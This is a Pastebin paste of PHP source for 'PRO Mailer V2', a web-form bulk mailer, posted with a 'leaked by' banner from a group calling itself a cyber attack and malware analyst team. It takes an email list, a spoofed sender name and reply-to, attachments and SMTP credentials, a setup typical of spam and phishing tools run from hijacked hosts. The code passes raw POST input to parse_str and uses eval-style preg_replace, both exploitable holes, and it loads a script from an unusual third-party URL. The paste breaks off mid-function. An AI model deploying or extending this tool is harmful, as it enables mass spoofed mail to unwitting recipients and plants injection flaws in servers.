daily pastebin goal
22%
SHARE
TWEET

leakead-abc.php

SAINTSATRIA Oct 16th, 2017 394 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Leaked by : PELITABANGSA .CA
  2. [ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
  3. <?
  4. // @~ PRO Mailer V2 by TimeX
  5. error_reporting(0);
  6. function query_str($params){
  7. $str = '';
  8. foreach ($params as $key => $value) {
  9. $str .= (strlen($str) < 1) ? '' : '&';
  10. $str .= $key . '=' . rawurlencode($value);
  11. }
  12. return ($str);
  13. }
  14. function lrtrim($string){
  15. return stripslashes(ltrim(rtrim($string)));
  16. }
  17. if(isset($_POST['action'] ) ){
  18. $b = query_str($_POST);
  19. parse_str($b);
  20. $sslclick=lrtrim($sslclick);
  21. $action=lrtrim($action);
  22. $message=lrtrim($message);
  23. $emaillist=lrtrim($emaillist);
  24. $from=lrtrim($from);
  25. $reconnect=lrtrim($reconnect);
  26. $epriority=lrtrim($epriority);
  27. $my_smtp=lrtrim($my_smtp);
  28. $ssl_port=lrtrim($ssl_port);
  29. $smtp_username=lrtrim($smtp_username);
  30. $smtp_password=lrtrim($smtp_password);
  31. $replyto=lrtrim($replyto);
  32. $subject_base=lrtrim($subject);
  33. $realname_base=lrtrim($realname);
  34. $file_name=$_FILES['file']['name'];
  35. $file=$_FILES['file']['tmp_name'];
  36. $urlz=lrtrim($urlz);
  37. $contenttype=lrtrim($contenttype);
  38. $encode_text=$_POST['encode'];
  39.         $message = urlencode($message);
  40.         $message = ereg_replace("%5C%22", "%22", $message);
  41.         $message = urldecode($message);
  42.         $message = stripslashes($message);
  43.         $subject = stripslashes($subject);
  44. if ($encode_text == "yes") {
  45.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  46.         $subject = str_replace(' ', '_', $subject);
  47.         $subject = "=?UTF-8?Q?$subject?=";
  48.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  49.         $realname = str_replace(' ', '_', $realname);
  50.         $realname = "=?UTF-8?Q?$realname?=";
  51.         }
  52. }
  53. ?>
  54. <html>
  55. <head>
  56. <title>Pro Mailer V2</title>
  57. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  58. <script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
  59. <style type="text/css">
  60. <!--
  61. .style1 {
  62.         font-family: Geneva, Arial, Helvetica, sans-serif;
  63.         font-size: 12px;
  64. }
  65. body{
  66. margin:0px;
  67. }
  68. .bgup {
  69. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  70. }
  71. .cadre {
  72. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  73. }
  74. .uibutton {
  75.     position: relative;
  76.     z-index: 1;
  77.     overflow: visible;
  78.     display: inline-block;
  79.     padding: 0.3em 0.6em 0.375em;
  80.     border: 1px solid #01A9DB;
  81.     border-bottom-color: #01A9DB;
  82.     margin: 0;
  83.     text-decoration: none;
  84.     text-align: center;
  85.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  86.     white-space: nowrap;
  87.     cursor: pointer;
  88.     /* outline: none; */
  89.     color: #f9f9f9;
  90.     background-color: #eee;
  91.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  92.     background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  93.     background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  94.     background-image: linear-gradient(#01A9DB, #01A9DB);
  95.     /* IE hacks */
  96.     *display: inline;
  97. }
  98. .uibutton:hover,
  99. .uibutton:focus,
  100. .uibutton:active {
  101.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  102. }
  103. .uibutton:active {
  104.     border-color: #01A9DB;
  105.     background: #01A9DB;
  106.     filter: none;
  107.     -webkit-box-shadow: none;
  108.     -moz-box-shadow: none;
  109.     box-shadow: none;
  110. }
  111. /* overrides extra padding on button elements in Firefox */
  112. .uibutton::-moz-focus-inner {
  113.     padding: 0;
  114.     border: 0;
  115. }
  116. -->
  117. </style>
  118. <style type="text/css">
  119. <!--
  120. .style1 {
  121.         font-size: 10px;
  122.         font-family: Geneva, Arial, Helvetica, sans-serif;
  123. }
  124. -->
  125. </style>
  126. </head>
  127. <body bgcolor="#f9f9f9" class="bgup">
  128. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  129. <div style="width:80%;margin:0 auto;">
  130. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  131. <form name="form1" method="post" action="" enctype="multipart/form-data">
  132.   <br>
  133.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  134.     <tr>
  135.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  136.         <b>
  137.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  138.       </tr>
  139.     <tr >
  140.       <td width="10%" height="22" style="padding:10px;">
  141.  
  142.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  143.       </td>
  144.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  145.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  146.         </font></td>
  147.       <td width="31%" height="22" style="padding:10px;">
  148.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  149.       </td>
  150.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  151.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  152.         </font></td>
  153.     </tr>
  154.     <tr>
  155.       <td width="10%" height="22" style="padding:10px;">
  156.         <div align="right">
  157.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  158.       </td>
  159.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  160.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  161.       (optional)</font></td>
  162.       <td width="31%" height="22" style="padding:10px;">
  163.         <div align="right">
  164.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  165.           Smtp:</font></div>
  166.       </td>
  167.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  168.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  169.         </font></td>
  170.     </tr>
  171.     <tr>
  172.       <td width="10%" height="22" style="padding:10px;">
  173.         <p align="right">
  174.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  175.       <td width="18%" height="22" style="padding:10px;">
  176.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  177.       <td width="31%" height="22" style="padding:10px;">
  178.         <p align="right">
  179.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  180.         After:</font></td>
  181.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  182.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  183.       EMAILS</font></td>
  184.     </tr>
  185.     <tr>
  186.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  187.         <p align="center">
  188.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  189.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  190.       </tr>
  191.     <tr>
  192.       <td width="10%" height="19" style="padding:10px;">
  193.         &nbsp;</td>
  194.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  195.       <td width="31%" height="19" style="padding:10px;">
  196.         &nbsp;</td>
  197.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  198.     </tr>
  199.     <tr>
  200.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  201.         <b>
  202.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  203.       </tr>
  204.      <tr>
  205.       <td width="10%" height="22" style="padding:10px;">
  206.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  207.       </td>
  208.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  209.  <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  210. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  211.         </font></td>
  212.     </tr>
  213.     <tr>
  214.       <td width="10%" height="22" style="padding:10px;">
  215.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  216.           Email:</font></div>
  217.       </td>
  218.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  219.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  220.         </font></td>
  221.       <td width="31%" height="22" style="padding:10px;">
  222.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  223.           Name:</font></div>
  224.       </td>
  225.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  226.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  227.         </font></td>
  228.     </tr>
  229.     <tr>
  230.       <td width="10%" height="22" style="padding:10px;">
  231.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  232.       </td>
  233.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  234.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  235.         </font></td>
  236.       <td width="31%" height="22" style="padding:10px;">
  237.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  238.         Email Priority:</font></td>
  239.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  240.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  241.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  242.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  243.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  244. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  245. </select></td>
  246.     </tr>
  247.     <tr>
  248.       <td width="10%" height="22" style="padding:10px;">
  249.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  250.       </td>
  251.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  252.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  253.         </font></td>
  254.     </tr>
  255.     <tr>
  256.       <td width="10%" height="22" style="padding:10px;">
  257.         &nbsp;</td>
  258.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  259.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  260.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  261.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  262.         </select></font></td>
  263.     </tr>
  264.     <tr valign="top">
  265. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  266.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  267.         <br>
  268.         <input type="radio" name="contenttype" value="plain" >
  269.         Plain
  270.         <input type="radio" name="contenttype" value="html" checked>
  271.         HTML
  272.         <input type="hidden" name="action" value="send">
  273. <input class="uibutton" type="submit" value="Send Message">
  274.         </font></td>
  275.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  276.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  277.         </font></td>
  278.     </tr>
  279.   </table>
  280. </form>
  281. <?
  282. if ($action){
  283.         if (!$from && !$subject && !$message && !$emaillist){
  284.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  285.         die(); }
  286. class SMTP
  287. {
  288.   /**
  289.    *  SMTP server port
  290.    *  @var int
  291.    */
  292.   var $SMTP_PORT = 25;
  293.   /**
  294.    *  SMTP reply line ending
  295.    *  @var string
  296.    */
  297.   var $CRLF = "\r\n";
  298.   /**
  299.    *  Sets whether debugging is turned on
  300.    *  @var bool
  301.    */
  302.   var $do_debug;       # the level of debug to perform
  303.   /**
  304.    *  Sets VERP use on/off (default is off)
  305.    *  @var bool
  306.    */
  307.   var $do_verp = false;
  308.   /**#@+
  309.    * @access private
  310.    */
  311.   var $smtp_conn;      # the socket to the server
  312.   var $error;          # error if any on the last call
  313.   var $helo_rply;      # the reply the server sent to us for HELO
  314.   /**#@-*/
  315.   /**
  316.    * Initialize the class so that the data is in a known state.
  317.    * @access public
  318.    * @return void
  319.    */
  320.   function SMTP() {
  321.     $this->smtp_conn = 0;
  322.     $this->error = null;
  323.     $this->helo_rply = null;
  324.     $this->do_debug = 0;
  325.   }
  326.   /*************************************************************
  327.    *                    CONNECTION FUNCTIONS                  *
  328.    ***********************************************************/
  329.   /**
  330.    * Connect to the server specified on the port specified.
  331.    * If the port is not specified use the default SMTP_PORT.
  332.    * If tval is specified then a connection will try and be
  333.    * established with the server for that number of seconds.
  334.    * If tval is not specified the default is 30 seconds to
  335.    * try on the connection.
  336.    *
  337.    * SMTP CODE SUCCESS: 220
  338.    * SMTP CODE FAILURE: 421
  339.    * @access public
  340.    * @return bool
  341.    */
  342.   function Connect($host,$port=0,$tval=30) {
  343.     # set the error val to null so there is no confusion
  344.     $this->error = null;
  345.     # make sure we are __not__ connected
  346.     if($this->connected()) {
  347.       # ok we are connected! what should we do?
  348.       # for now we will just give an error saying we
  349.       # are already connected
  350.       $this->error = array("error" => "Already connected to a server");
  351.       return false;
  352.     }
  353.     if(empty($port)) {
  354.       $port = $this->SMTP_PORT;
  355.     }
  356.     #connect to the smtp server
  357.     $this->smtp_conn = fsockopen($host,    # the host of the server
  358.                                  $port,    # the port to use
  359.                                  $errno,   # error number if any
  360.                                  $errstr,  # error message if any
  361.                                  $tval);   # give up after ? secs
  362.     # verify we connected properly
  363.     if(empty($this->smtp_conn)) {
  364.       $this->error = array("error" => "Failed to connect to server",
  365.                            "errno" => $errno,
  366.                            "errstr" => $errstr);
  367.       if($this->do_debug >= 1) {
  368.         echo "SMTP -> ERROR: " . $this->error["error"] .
  369.                  ": $errstr ($errno)" . $this->CRLF;
  370.       }
  371.       return false;
  372.     }
  373.     # sometimes the SMTP server takes a little longer to respond
  374.     # so we will give it a longer timeout for the first read
  375.     // Windows still does not have support for this timeout function
  376.     if(substr(PHP_OS, 0, 3) != "WIN")
  377.      socket_set_timeout($this->smtp_conn, $tval, 0);
  378.     # get any announcement stuff
  379.     $announce = $this->get_lines();
  380.     # set the timeout  of any socket functions at 1/10 of a second
  381.     //if(function_exists("socket_set_timeout"))
  382.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  383.     if($this->do_debug >= 2) {
  384.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  385.     }
  386.     return true;
  387.   }
  388.   /**
  389.    * Performs SMTP authentication.  Must be run after running the
  390.    * Hello() method.  Returns true if successfully authenticated.
  391.    * @access public
  392.    * @return bool
  393.    */
  394.   function Authenticate($username, $password) {
  395.     // Start authentication
  396.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  397.     $rply = $this->get_lines();
  398.     $code = substr($rply,0,3);
  399.     if($code != 334) {
  400.       $this->error =
  401.         array("error" => "AUTH not accepted from server",
  402.               "smtp_code" => $code,
  403.               "smtp_msg" => substr($rply,4));
  404.       if($this->do_debug >= 1) {
  405.         echo "SMTP -> ERROR: " . $this->error["error"] .
  406.                  ": " . $rply . $this->CRLF;
  407.       }
  408.       return false;
  409.     }
  410.     // Send encoded username
  411.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  412.     $rply = $this->get_lines();
  413.     $code = substr($rply,0,3);
  414.     if($code != 334) {
  415.       $this->error =
  416.         array("error" => "Username not accepted from server",
  417.               "smtp_code" => $code,
  418.               "smtp_msg" => substr($rply,4));
  419.       if($this->do_debug >= 1) {
  420.         echo "SMTP -> ERROR: " . $this->error["error"] .
  421.                  ": " . $rply . $this->CRLF;
  422.       }
  423.       return false;
  424.     }
  425.     // Send encoded password
  426.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  427.     $rply = $this->get_lines();
  428.     $code = substr($rply,0,3);
  429.     if($code != 235) {
  430.       $this->error =
  431.         array("error" => "Password not accepted from server",
  432.               "smtp_code" => $code,
  433.               "smtp_msg" => substr($rply,4));
  434.       if($this->do_debug >= 1) {
  435.         echo "SMTP -> ERROR: " . $this->error["error"] .
  436.                  ": " . $rply . $this->CRLF;
  437.       }
  438.       return false;
  439.     }
  440.     return true;
  441.   }
  442.   /**
  443.    * Returns true if connected to a server otherwise false
  444.    * @access private
  445.    * @return bool
  446.    */
  447.   function Connected() {
  448.     if(!empty($this->smtp_conn)) {
  449.       $sock_status = socket_get_status($this->smtp_conn);
  450.       if($sock_status["eof"]) {
  451.         # hmm this is an odd situation... the socket is
  452.         # valid but we are not connected anymore
  453.         if($this->do_debug >= 1) {
  454.             echo "SMTP -> NOTICE:" . $this->CRLF .
  455.                  "EOF caught while checking if connected";
  456.         }
  457.         $this->Close();
  458.         return false;
  459.       }
  460.       return true; # everything looks good
  461.     }
  462.     return false;
  463.   }
  464.   /**
  465.    * Closes the socket and cleans up the state of the class.
  466.    * It is not considered good to use this function without
  467.    * first trying to use QUIT.
  468.    * @access public
  469.    * @return void
  470.    */
  471.   function Close() {
  472.     $this->error = null; # so there is no confusion
  473.     $this->helo_rply = null;
  474.     if(!empty($this->smtp_conn)) {
  475.       # close the connection and cleanup
  476.       fclose($this->smtp_conn);
  477.       $this->smtp_conn = 0;
  478.     }
  479.   }
  480.   /***************************************************************
  481.    *                        SMTP COMMANDS                       *
  482.    *************************************************************/
  483.   /**
  484.    * Issues a data command and sends the msg_data to the server
  485.    * finializing the mail transaction. $msg_data is the message
  486.    * that is to be send with the headers. Each header needs to be
  487.    * on a single line followed by a <CRLF> with the message headers
  488.    * and the message body being seperated by and additional <CRLF>.
  489.    *
  490.    * Implements rfc 821: DATA <CRLF>
  491.    *
  492.    * SMTP CODE INTERMEDIATE: 354
  493.    *     [data]
  494.    *     <CRLF>.<CRLF>
  495.    *     SMTP CODE SUCCESS: 250
  496.    *     SMTP CODE FAILURE: 552,554,451,452
  497.    * SMTP CODE FAILURE: 451,554
  498.    * SMTP CODE ERROR  : 500,501,503,421
  499.    * @access public
  500.    * @return bool
  501.    */
  502.   function Data($msg_data) {
  503.     $this->error = null; # so no confusion is caused
  504.     if(!$this->connected()) {
  505.       $this->error = array(
  506.               "error" => "Called Data() without being connected");
  507.       return false;
  508.     }
  509.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  510.     $rply = $this->get_lines();
  511.     $code = substr($rply,0,3);
  512.     if($this->do_debug >= 2) {
  513.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  514.     }
  515.     if($code != 354) {
  516.       $this->error =
  517.         array("error" => "DATA command not accepted from server",
  518.               "smtp_code" => $code,
  519.               "smtp_msg" => substr($rply,4));
  520.       if($this->do_debug >= 1) {
  521.         echo "SMTP -> ERROR: " . $this->error["error"] .
  522.                  ": " . $rply . $this->CRLF;
  523.       }
  524.       return false;
  525.     }
  526.     # the server is ready to accept data!
  527.     # according to rfc 821 we should not send more than 1000
  528.     # including the CRLF
  529.     # characters on a single line so we will break the data up
  530.     # into lines by \r and/or \n then if needed we will break
  531.     # each of those into smaller lines to fit within the limit.
  532.     # in addition we will be looking for lines that start with
  533.     # a period '.' and append and additional period '.' to that
  534.     # line. NOTE: this does not count towards are limit.
  535.     # normalize the line breaks so we know the explode works
  536.     $msg_data = str_replace("\r\n","\n",$msg_data);
  537.     $msg_data = str_replace("\r","\n",$msg_data);
  538.     $lines = explode("\n",$msg_data);
  539.     # we need to find a good way to determine is headers are
  540.     # in the msg_data or if it is a straight msg body
  541.     # currently I am assuming rfc 822 definitions of msg headers
  542.     # and if the first field of the first line (':' sperated)
  543.     # does not contain a space then it _should_ be a header
  544.     # and we can process all lines before a blank "" line as
  545.     # headers.
  546.     $field = substr($lines[0],0,strpos($lines[0],":"));
  547.     $in_headers = false;
  548.     if(!empty($field) && !strstr($field," ")) {
  549.       $in_headers = true;
  550.     }
  551.     $max_line_length = 998; # used below; set here for ease in change
  552.     while(list(,$line) = @each($lines)) {
  553.       $lines_out = null;
  554.       if($line == "" && $in_headers) {
  555.         $in_headers = false;
  556.       }
  557.       # ok we need to break this line up into several
  558.       # smaller lines
  559.       while(strlen($line) > $max_line_length) {
  560.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  561.         # Patch to fix DOS attack
  562.         if(!$pos) {
  563.           $pos = $max_line_length - 1;
  564.         }
  565.         $lines_out[] = substr($line,0,$pos);
  566.         $line = substr($line,$pos + 1);
  567.         # if we are processing headers we need to
  568.         # add a LWSP-char to the front of the new line
  569.         # rfc 822 on long msg headers
  570.         if($in_headers) {
  571.           $line = "\t" . $line;
  572.         }
  573.       }
  574.       $lines_out[] = $line;
  575.       # now send the lines to the server
  576.       while(list(,$line_out) = @each($lines_out)) {
  577.         if(strlen($line_out) > 0)
  578.         {
  579.           if(substr($line_out, 0, 1) == ".") {
  580.             $line_out = "." . $line_out;
  581.           }
  582.         }
  583.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  584.       }
  585.     }
  586.     # ok all the message data has been sent so lets get this
  587.     # over with aleady
  588.     fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  589.     $rply = $this->get_lines();
  590.     $code = substr($rply,0,3);
  591.     if($this->do_debug >= 2) {
  592.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  593.     }
  594.     if($code != 250) {
  595.       $this->error =
  596.         array("error" => "DATA not accepted from server",
  597.               "smtp_code" => $code,
  598.               "smtp_msg" => substr($rply,4));
  599.       if($this->do_debug >= 1) {
  600.         echo "SMTP -> ERROR: " . $this->error["error"] .
  601.                  ": " . $rply . $this->CRLF;
  602.       }
  603.       return false;
  604.     }
  605.     return true;
  606.   }
  607.   /**
  608.    * Expand takes the name and asks the server to list all the
  609.    * people who are members of the _list_. Expand will return
  610.    * back and array of the result or false if an error occurs.
  611.    * Each value in the array returned has the format of:
  612.    *     [ <full-name> <sp> ] <path>
  613.    * The definition of <path> is defined in rfc 821
  614.    *
  615.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  616.    *
  617.    * SMTP CODE SUCCESS: 250
  618.    * SMTP CODE FAILURE: 550
  619.    * SMTP CODE ERROR  : 500,501,502,504,421
  620.    * @access public
  621.    * @return string array
  622.    */
  623.   function Expand($name) {
  624.     $this->error = null; # so no confusion is caused
  625.     if(!$this->connected()) {
  626.       $this->error = array(
